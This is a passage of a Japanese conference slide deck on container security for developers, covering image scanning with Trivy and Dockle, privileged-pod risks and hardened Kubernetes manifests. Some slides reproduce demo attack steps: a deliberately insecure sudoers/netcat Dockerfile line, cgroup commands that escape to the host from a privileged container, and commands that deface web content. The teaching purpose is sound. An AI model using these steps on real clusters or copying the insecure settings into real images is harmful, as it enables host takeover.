59. 余分なものを含めないという観点で作成するイメージをできる限り小さくすることが重要になります。また、信頼できるイメージ（httpdの公式イメージ）をベースイメージとして使用する場合でも、タグバージョンによってイメージサイズが異なり、サイズが大きなイメージ程そこに余分な（攻撃に使用され得る）ものが含まれる可能性が高くなります。このような理由から、一般的にサイズの小さいタグバージョンを使用する方がセキュリティリスクは少ないといえます。 httpd:2.4.48（dedian-slimベース）と2.4.48-alpine（alpineベース）の比較 # docker images REPOSITORY TAG IMAGE ID CREATED SIZE httpd 2.4.48 c8ca530172a8 45 hours ago 138MB httpd 2.4.48-alpine feb558a43c19 12 days ago 54.8MB ※もちろんですが、ベースイメージから作成するイメージについても不要なパッケージを極力含まないようにするという取り組みも重要です。イメージを小さくする 3.2. コンテナセキュリティの考え方 -イメージ- 対策

60. いくらセキュリティを意識してイメージを作成したとしても意図せず脆弱性や危険な設定を含んでしまう可能性はあります。そこで助けになるのがコンテナイメージのスキャンツールです。 ■代表的なイメージスキャンツール・コンテナイメージに含まれるパッケージの脆弱性を検知できる・ただしパッケージマネージャーを使用せずバイナリから直接インストールしたものについては検知できない・Docker fi leやk8s Manifestのスキャンにも対応・コンテナイメージがベストプラクティスに則った構成になっているかをチェックできる・Docker CIS Benchmark ・Dockle独自のプラクティス・コンテナイメージの設定上のセキュリティリスクを検知できる（Trivyで検知できないパッケージ以外のリスク検知に有効） https://github.com/aquasecurity/trivy https://github.com/goodwithtech/dockle イメージをスキャンする ※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。 3.2. コンテナセキュリティの考え方 -イメージ- 対策

61. trivyを用いてイメージをスキャンすることで、以下のようにイメージに含まれるパッケージの脆弱性を検知できます。今回攻撃に使用された脆弱性（CVE-2014-6271）についてもtrivyを用いて検知できていることが分かります。 $ trivy --severity CRITICAL,HIGH mochizuki875/training-website-poc:v1.0 2021-08-30T19:13:57.535+0900 INFO Need to update DB 2021-08-30T19:13:57.535+0900 INFO Downloading DB... 23.09 MiB / 23.09 MiB [--------------------------------------------------------------------------------------------------------------------------] 100.00% 12.18 MiB p/s 2s 2021-08-30T19:14:00.488+0900 INFO Detected OS: debian 2021-08-30T19:14:00.488+0900 INFO Detecting Debian vulnerabilities... 2021-08-30T19:14:00.510+0900 INFO Number of language-specific files: 0 mochizuki875/training-website-poc:v1.0 (debian 10.10) ===================================================== Total: 43 (HIGH: 38, CRITICAL: 5) +---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+ | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE | +---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+ | apache2 | CVE-2021-33193 | HIGH | 2.4.38-3+deb10u5 | | httpd: Request splitting via HTTP/2 | | | | | | | method injection and mod_proxy | | | | | | | -->avd.aquasec.com/nvd/cve-2021-33193 | +---------------+ + + +------------------+ + ・・・ +---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+ | bash | CVE-2014-6271 | CRITICAL | 4.2+dfsg-0.1 | 4.3-9.1 | bash: specially-crafted | | | | | | | environment variables can be | | | | | | | used to inject shell commands | | | | | | | -->avd.aquasec.com/nvd/cve-2014-6271 | + +------------------+----------+ +------------------+--------------------------------------------------------------+ | | CVE-2012-6711 | HIGH | | 4.3-1 | bash: heap-based buffer | | | | | | | overflow during echo of | | | | | | | unsupported characters | | | | | | | -->avd.aquasec.com/nvd/cve-2012-6711 | + +------------------+ + +------------------+--------------------------------------------------------------+ ・・・ +---------------+------------------+ +-----------------------+------------------+--------------------------------------------------------------+ | openssl | CVE-2021-3711 | | 1.1.1d-0+deb10u6 | 1.1.1d-0+deb10u7 | openssl: SM2 Decryption | | | | | | | Buffer Overflow | | | | | | | -->avd.aquasec.com/nvd/cve-2021-3711 | +---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+ 3.2. コンテナセキュリティの考え方 -イメージ- 対策

62. $ dockle mochizuki875/training-website-poc:v1.0 2021-08-30T19:23:33.243+0900 INFO Failed to check latest version. not found version patterns FATAL - DKL-DI-0001: Avoid sudo command * Avoid sudo in container : RUN /bin/sh -c apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y apache2 && a2enmod cgid && apt-get -y install libtinfo5 && apt-get -y install netcat && apt-get install -y sudo && groupadd wheel && usermod -aG wheel www-data && echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && apt-get clean && rm -rf /var/lib/apt/lists/* # buildkit WARN - CIS-DI-0001: Create a user for the container * Last user should not be root INFO - CIS-DI-0005: Enable Content trust for Docker * export DOCKER_CONTENT_TRUST=1 before docker pull/build INFO - CIS-DI-0006: Add HEALTHCHECK instruction to the container image * not found HEALTHCHECK statement INFO - CIS-DI-0008: Confirm safety of setuid/setgid files * setuid file: urwxr-xr-x bin/ping * setuid file: urwxr-xr-x usr/bin/passwd * setuid file: urwxr-xr-x usr/bin/sudo * setgid file: grwxr-xr-x usr/bin/expiry * setgid file: grwxr-xr-x usr/bin/wall * setgid file: grwxr-xr-x usr/bin/chage * setuid file: urwxr-xr-x bin/umount * setuid file: urwxr-xr-x bin/su * setuid file: urwxr-xr-x usr/bin/gpasswd * setgid file: grwxr-xr-x sbin/unix_chkpwd * setuid file: urwxr-xr-x bin/mount * setuid file: urwxr-xr-x usr/bin/newgrp * setuid file: urwxr-xr-x usr/bin/chfn * setuid file: urwxr-xr-x usr/bin/chsh dockleを用いてイメージをスキャンすることで、設定上のセキュリティリスクを検知することができます。今回の攻撃例においてコンテナ侵入後に特権昇格に用いられたsudoコマンドに関する警告が検知されていることが分かります。 3.2. コンテナセキュリティの考え方 -イメージ- 対策

63. （参考）イメージスキャンの継続的な実施時間の経過とともにコンテナイメージに含まれる脆弱性が明らかになってくるケースもあるため、脆弱性スキャンは1度だけ行うのではなく継続的に行うことも重要になってきます。今回はスキャンツールを単体で利用していますが、イメージスキャンをCIツールやECRなどレジストリに統合して用いることで、継続的にイメージの脆弱性スキャンを行うケースもよく見受けられます。 3.2. コンテナセキュリティの考え方 -イメージ- 対策

64. No 対策詳細 1 信頼できるイメージを利用する信頼できないイメージには、脆弱性やAttack Surfaceになり得るパッケージ、マルウェア、危険な設定などあらゆるセキュリティリスクが含まれている可能性があるため、公式イメージを用いるか、scratchでイメージを作成すべき。 2 イメージを小さくする一般的にイメージ容量が大きいということはイメージにセキュリティリスクを含む可能性も高くなるため、可能な限りイメージを小さくすべき。 3 イメージをスキャンする意図せぬ脆弱性や設定不備の混入を防止するためにイメージのスキャンを行う。時間経過と共に発生した脆弱性に対応するためスキャンは継続的に行う。 ※ただしツールを用いることで全てのセキュリティリスクを取り除けるわけではないため 1,2を踏まえた上で補助的な役割としてツールを活用すべき。セキュリティ対策まとめ 3.2. コンテナセキュリティの考え方 -イメージ- 対策

66. Container Host OS process A process B process C process D コンテナとして起動するプロセスコンテナはあくまでOS上で実行される1プロセスに過ぎません。 rootfs(/) 3.3. コンテナセキュリティの考え方 -コンテナ- 基本原則

67. Container Host OS process A rootfs(/) process B process C rootfs(/) process D Container Isolation Namespace：プロセスの実行空間を隔離 pivot_root + OverlayFS：rootfsを隔離 Limitation cgroup：リソースを制限 Restriction Capability：プロセスの権限範囲を制限 Seccomp：システムコールを制限 MAC（AppArmor/SELinux）：ファイルアクセスを制限 ReadOnlyMount：重要なファイルシステム（/procや/sys等）をROでマウント etc 一般的なプロセスとコンテナの違いは、コンテナとして実行されるプロセスはLinuxカーネルの持つ様々な仕組みを使って他のプロセスから隔離されている点です。 3.3. コンテナセキュリティの考え方 -コンテナ- 基本原則

68. Container Host Container Host process Container A process Container B コンテナとしての隔離性が高い状態コンテナとしての隔離性が低い状態コンテナ内で動くプロセスの動作がホストに影響しないコンテナ内で動くプロセスの一部の動作がホストに影響してしまうコンテナの隔離性を維持する 3.3. コンテナセキュリティの考え方 -コンテナ- 基本原則＜＜セキュリティリスク＜＜小大

69. Kubernetes Manifestではコンテナに対する様々な起動設定を定義できますが、この設定によりコンテナの隔離性を強めることも弱めることもできます。これらを適切に行うことが、コンテナレイヤにおけるセキュリティ確保に繋がります。 apiVersion: v1 kind: Pod metadata: labels: run: ubuntu name: ubuntu spec: containers: - image: ubuntu:20.04 name: ubuntu-sec command: ["/bin/sh", "-c", "while :; do sleep 10; done"] resources: limits: cpu: "500m" memory: "128Mi" securityContext: readOnlyRootFilesystem: true volumeMounts: - mountPath: /tmp name: hostpath-sample volumes: - name: hostpath-sample hostPath: path: /tmp k8s manifestの例使用可能リソースを制限することで隔離性向上コンテナのrootfsへの書き込みを禁止することで隔離性向上 ※コンテナのrootfsの実態はコンテナホスト上のOverlayfs コンテナホストのディレクトリをバインドマウントしており隔離性低下 3.3. コンテナセキュリティの考え方 -コンテナ- 基本原則

70. 隔離性を高めるための設定不要な権限を付与しないリソースの制限ホストのディレクトリをマウントしないコンテナ内での変更を禁止カーネルに対する操作の制限 3.3. コンテナセキュリティの考え方 -コンテナ- 基本原則

71. 今回攻撃が成立してしまったケースにおいて、開発者が用意したコンテナ起動設定（Kubernetes Manifest）がどうだったか見てみましょう。 Kubernetes Manifestを見てみると、コンテナに特権を付与していることが分かります。 apiVersion: v1 kind: Pod metadata: labels: run: web name: web spec: containers: - image: mochizuki875/training-website-poc:v1.0 name: web securityContext: privileged: true 今回コンテナの起動に利用したのKubernetes Manifest （web-insecure-pod.yml）コンテナに特権を与えている 3.3. コンテナセキュリティの考え方 -コンテナ- リスク

72. コンテナを特権で動作させるということはコンテナプロセスにホストの特権ユーザー（root）と同等の権限を持たせることになり、コンテナの隔離性を低下させることに繋がります。 Container Host OS process A rootfs(/) process B process C rootfs(/) process D Container Isolation Namespace：プロセスの実行空間を隔離 pivot_root + OverlayFS：rootfsを隔離 Limitation cgroup：リソースを制限 Restriction Capability：プロセスの権限範囲を制限 Seccomp：システムコールを制限 MAC（AppArmor/SELinux）：ファイルアクセスを制限 ReadOnlyMount：重要なファイルシステム（/procや/sys等）をROでマウント etc Privileged ホストの特権ユーザーと同等の権限 3.3. コンテナセキュリティの考え方 -コンテナ- リスク

73. mount ¦ grep cgroup （略） cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma) （略）（特権コンテナ）今回のケースでは特権を与えたことによりcgroupへのアクセス権がRWに設定されました今回の攻撃事例ではコンテナに特権を付与したことで、本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることができてしまいました。 mount ¦ grep cgroup （略） cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) （略）（非特権コンテナ）通常コンテナではcgroupへのアクセス権はROに設定されます 3.3. コンテナセキュリティの考え方 -コンテナ- リスク

74. mkdir /sys/fs/cgroup/rdma/x ・・・ sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs" 本来コンテナからは許可されていない cgroupの操作を通じたプログラムの実行 mkdir /sys/fs/cgroup/rdma/x mkdir: cannot create directory '/sys/fs/cgroup/rdma/x': Read-only fi le system （非特権コンテナ） cgroupへのアクセス権がROなのでcgroupの作成が許可されていない（特権コンテナ） cgroupへのアクセス権がRWに設定されておりcgroupの作成や設定変更が可能 3.3. コンテナセキュリティの考え方 -コンテナ- 今回の攻撃事例ではコンテナに特権を付与したことで、本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることができてしまいました。リスク

75. また、今回の例では侵入したコンテナ内でファイルの編集や新規作成を実行できたことも、攻撃が成立した要因であったと言えます。 sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html Webコンテンツの改竄（シナリオ①） cat <<EOF > /cmd #!/bin/sh echo "hostname Command from Container" > /tmp/output hostname >> /tmp/output EOF # chmod +x /cmd 不正なプログラムの作成（シナリオ②） 3.3. コンテナセキュリティの考え方 -コンテナ- リスク

76. 攻撃事例の中でも説明した通りコンテナのrootfsの実態はコンテナホスト上のOverlayfsであり、コンテナ内でのrootfsに対する変更差分はUpperdirと呼ばれるホスト上の特定ディレクトリに反映されます。（悪意のあるファイルをコンテナからコンテナホスト上に配置できてしまう事になる）したがって、コンテナ内でファイルの編集や新規作成が行えるということはコンテナの隔離性が低い状態であることを意味し、セキュリティリスクになり得ると言えます。 ※Kubernetesにおいてデフォルトでは、コンテナ内のrootfsへのアクセス権がRWになっています。 Container Host OS rootfs(/) process Container Overlayfs Upperdir Lowerdir(Layer1) Lowerdir(Layer2) work コンテナrootfsの実態コンテナ内で作成したファイルの実態はコンテナホスト上に存在 File 3.3. コンテナセキュリティの考え方 -コンテナ- リスク

77. 代表的なコンテナのセキュリティリスクに対処するためのプラクティス ■概念 NIST SP800-190 アプリケーションコンテナセキュリティガイド（IPA日本語翻訳版） - 4.4 コンテナの対策 - 4.5 ホストの対策） https://www.ipa.go.jp/ fi les/000085279.pdf ■具体的な設定 Pod Security Standards https://kubernetes.io/docs/concepts/security/pod-security-standards/ NSA CISA Kubernetes Hardening Guidance （Kubernetes Pod security ） https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

78. Kubernetesでコンテナをデプロイする際は、デフォルトでコンテナプロセスに対する制限が行われます。そのため特に設定を行わずとも最低限*の隔離性を担保することができます。今回の例では以下のようにデフォルト設定でコンテナを起動していれば、コンテナからホストに対してコマンドを実行されることを防ぐことができました。 apiVersion: v1 kind: Pod metadata: labels: run: web name: web spec: containers: - image: mochizuki875/training-website-poc:v2.0 name: web 今回コンテナの起動に利用したのKubernetes Manifest （web-default-pod.yml）コンテナに不要な設定を行わない *Kubernetes Pod Security StandardsにおけるBaseline相当不要な設定を行わない 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

79. デフォルトの設定に対して適切な設定を行うことでコンテナの隔離性を向上させ、セキュリティレベルを高めることができます。 ※具体的な設定値の一覧については先に示したプラクティスをご参照ください。 apiVersion: v1 kind: Pod metadata: labels: run: web-secure name: web-secure spec: securityContext: seccompPro fi le: type: RuntimeDefault automountServiceAccountToken: false containers: - image: mochizuki875/training-website-poc:v2.0 name: web securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: drop: - all add: - CHOWN - SETUID - SETGID - NET_BIND_SERVICE resources: limits: cpu: "500m" memory: "128Mi" volumeMounts: - name: log-volume mountPath: /usr/local/apache2/logs/ volumes: - name: log-volume emptyDir: {} ・・・① ・・・② ・・・③ ・・・④ ・・・⑤ ・・・④ [隔離性をより高める設定の例] ① seccompによるシステムコールの制限 ② ServiceAccountをマウントしない ③ 特権昇格の禁止 ④ rootfsへの書き込み禁止 ⑤ Capabilityの剥奪・必要最小限の付与 ⑥ リソース使用量を制限隔離性をより高める設定セキュリティ対策を施したKubernetes Manifest （web-secure-pod.yml） ※特に今回の攻撃に関連する対策は青字で表記しています。 3.3. コンテナセキュリティの考え方 -コンテナ- ・・・⑥ 対策

80. コンテナの隔離性をより高める設定の代表的な項目の1つとして、コンテナの実行ユーザーをrootとせず非rootとすべきといった内容が挙げられます。 ※コンテナイメージ、Kubernetes Manifestで特に指定しない場合はrootでコンテナが起動される FROM ubuntu:20.04 CMD ["/bin/sh", "-c", "while :; do sleep 10; done"] apiVersion: v1 kind: Pod metadata: labels: run: ubuntu name: ubuntu-root spec: containers: - image: mochizuki875/ubuntu:20.04-root name: ubuntu-root FROM ubuntu:20.04 RUN useradd -m -u 1000 user01 USER user01 WORKDIR /home/user01 CMD ["/bin/sh", "-c", "while :; do sleep 10; done"] apiVersion: v1 kind: Pod metadata: labels: run: ubuntu name: ubuntu-user01 spec: containers: - image: mochizuki875/ubuntu:20.04-runas name: ubuntu-user01 securityContext: runAsUser: 1000 runAsGroup: 1000 runAsNonRoot: true Docker fi le（root） Manifest（root） Docker fi le（非root） Manifest（非root）コンテナ実行ユーザーを指定コンテナ実行ユーザー（UID）を指定加えてrootでの実行を禁止コンテナの実行ユーザーについて（隔離性を高める設定の1つ） 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

81. # ps auxf （略） root 2298580 0.0 0.1 713320 11724 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 86222752d6436332b01df7532206388e04bb0e404740de58e root 2298607 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause root 2298704 0.0 0.0 2608 1660 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done root 2302816 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10 （略） root 2298350 0.0 0.1 713320 11960 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 0721217fc08a655c528a93581b7a35cadf9bf97cc82aea319 root 2298375 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause user01 2298414 0.0 0.0 2608 1756 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done user01 2302835 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10 （略） # kubectl get po NAME READY STATUS RESTARTS AGE ubuntu-root 1/1 Running 0 15m ubuntu-user01 1/1 Running 0 16m rootで実行したコンテナのプロセス（ubuntu-root）非rootで実行したコンテナのプロセス（ubuntu-user01）これは、コンテナとコンテナホスト上でのコンテナプロセスの実行ユーザーがイコールになることにより、 rootユーザーで実行したコンテナがコンテナホスト上でrootプロセスとして実行されることになるためです。（権限隔離の観点でコンテナの隔離性を損なう）コンテナ起動状況コンテナホスト上でのプロセス確認 3.3. コンテナセキュリティの考え方 -コンテナ- 対策実際にコンテナを起動させ、コンテナホスト上でプロセスの実行ユーザーを確認すると、確かにコンテナの実行ユーザーとプロセスの実行ユーザーが一致していることが分かります。 ※これは2021年11月現在、コンテナとホストのUser Namespaceが共通であるという仕組みによるもの

82. ただし前述の通り、コンテナはCapabilityをはじめとしたカーネルの仕組みにより、たとえrootで実行したとしても権限が制限されます。（基本的にroot実行しても害はない）しかしコンテナランタイムの脆弱性（CVE-2019-5736）等により権限を制限しきれないケースも発生し得ます。そうなった場合、コンテナの隔離性を維持しきれずContainer Breakout等に繋がるリスクになるため基本的にコンテナは非rootで実行すべきです。（補足）今回の例における実行ユーザーの考え方今回Webサーバーとして使用したhttpdの場合は親プロセスのみがrootで起動し、ワーカープロセスは非rootユーザー（daemon）で実行されるためコンテナをrootで起動させるリスクについては受容した。 ※nginxやhttpdをはじめとしたWebサーバーの公式イメージではコンテナポートとして特権ポート（80 ポート）を使用する理由から、root実行を前提とするものが多い # kubectl exec -it web-secure -- /bin/sh /usr/local/apache2 # ps aux PID USER TIME COMMAND 1 root 2:37 httpd -DFOREGROUND 10 daemon 0:00 httpd -DFOREGROUND 11 daemon 0:00 httpd -DFOREGROUND 12 daemon 0:00 httpd -DFOREGROUND 94 daemon 0:00 httpd -DFOREGROUND ・・・ Workerプロセスは非rootで実行される httpdコンテナのプロセス実行ユーザー確認 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

83. 近年Linux Namespaceの内、User Namespaceをコンテナとホストで分離することで、コンテナをrootで実行してもコンテナホスト上ではコンテナプロセスが非特権ユーザーで実行されるようにする仕組みが検討されています。 ※現在はコンテナとコンテナホストでUser Namespaceが共通であるためコンテナとプロセスの実行ユーザーが同じ Support node-level user namespace remapping https://github.com/kubernetes/enhancements/issues/127 （参考）rootlessコンテナ 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

84. イメージの場合と同様、いくらセキュリティを意識してコンテナ起動設定を作成したとしても、意図せず危険な設定を含んでしまう可能性はあります。 Kubernetes Manifestについてもセキュリティリスクを評価するためのスキャンツールが存在します。 ■代表的なKubernetes Manifestスキャンツール・Kubernetes Manifestに含まれるセキュリティリスクを検知できる・マニフェストの自動修正が可能・稼働中のPodに対するスキャンが可能 https://github.com/controlplaneio/kubesec https://github.com/Shopify/kubeaudit ・Kubernetes Manifestの設定項目をスコア付してセキュリティリスクを評価する・CLI以外にHTTPサーバーとしてスキャン機能を提供することが可能 kubeaudit ☁ 🔒 💪 Kubesec マニフェストをスキャンする ※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。またクラスタレイヤの話になりますが、適用可能な設定をOPAなどポリシーを用いて制御するといった手段も考えられます。 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

85. Kubesecを用いてKubernetes Manifestをスキャンすることで、以下のようにコンテナ起動設定の評価を行うことができます。今回の攻撃の主要因となったPrivileged設定がCriticalで検知されている他、隔離性を高めるための推奨設定がadviseとして検知されていることが分かります。 $ kubesec scan web-insecure-pod.yml [ { "object": "Pod/web-insecure.default", "valid": true, " fi leName": "web-insecure-pod.yml", "message": "Failed with a score of -30 points", "score": -30, "scoring": { "critical": [ { "id": "Privileged", "selector": "containers[] .securityContext .privileged == true", "reason": "Privileged containers can allow almost completely unrestricted host access", "points": -30 } ], "advise": [ { "id": "ApparmorAny", "selector": ".metadata .annotations ."container.apparmor.security.beta.kubernetes.io/nginx"", "reason": "Well de fi ned AppArmor policies may provide greater protection from unknown threats. WARNING: NOT PRODUCTION READY", "points": 3 }, ・・・ { "id": "ReadOnlyRootFilesystem", "selector": "containers[] .securityContext .readOnlyRootFilesystem == true", "reason": "An immutable root filesystem can prevent malicious binaries being added to PATH and increase attack cost", "points": 1 }, 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

86. No 対策詳細 1 不要な設定を行わない Kubernetesでは特に設定を行わなくても最低限の隔離性は担保される ※特に意味を理解せず設定を追加するとコンテナの隔離性を低下させる恐れがある 2 より隔離性を高める設定プラクティスを参考により隔離性を高めるための設定を追加するコンテナの実行ユーザーを非rootに設定する 3 起動設定のスキャン隔離性を低下させる危険な設定がないかツールを用いて確認するセキュリティ対策まとめ 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

87. PodSecurity Admission KubernetesのPod Security Standerdに準拠したPodのみデプロイを許可する機能。 Kubernetes v1.22時点でalpha機能として実装された。 https://kubernetes.io/docs/concepts/security/pod-security-admission/ kubescape 稼働中のPodがNSA CISA Kubernetes Hardening Guidanceの項目に準拠しているかを検査するツール。 https://github.com/armosec/kubescape その他にも最近開発が進んでいるコンテナの隔離性確保を補助するツールとして以下のものがあります。（参考） 3.3. コンテナセキュリティの考え方 -コンテナ- 対策

89. 開発者目線で意識すべきコンテナセキュリテリスク・リスクを実感するために攻撃のモデルケースを用いて具体化してご説明しました開発者目線で意識すべきコンテナセキュリティ対策の考え方・攻撃事例をもとに各レイヤにおける対策の考え方を体系化しました・イメージレイヤ：イメージに余分なものを含めない・コンテナレイヤ：コンテナの隔離性を維持する・今回示した考え方をベースに具体的にどのようなツールをどう用いて対策するか考える ※具体的対策についてはプラクティスを参照してくださいコンテナセキュリティを意識するきっかけ作りとしての位置付け・本日の内容が皆様がコンテナセキュリティを意識し考える上での一助となれば幸いです 4.まとめ

90. opsxcq/exploit-CVE-2014-6271 ※今回の攻撃シナリオ①は一部こちらを参考にさせて頂いています https://github.com/opsxcq/exploit-CVE-2014-6271 Container Security Book ※今回の攻撃シナリオ②は一部こちらを参考にさせて頂いています https://container-security.dev/security/breakout-to-host.html Docker/Kubernetes 開発・運用のためのセキュリティ実践ガイド https://book.mynavi.jp/ec/products/detail/id=114099 コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう https://eh-career.com/engineerhub/entry/2019/02/05/103000 参考

91. Thank You!!

92. 引き続き楽しんで行きましょう！

乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

Recommended

More Related Content

What's hot

What's hot(20)

Similar to 乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

Similar to 乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）(20)

More from NTT DATA Technology & Innovation

More from NTT DATA Technology & Innovation(20)

Recently uploaded

Recently uploaded(11)

乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）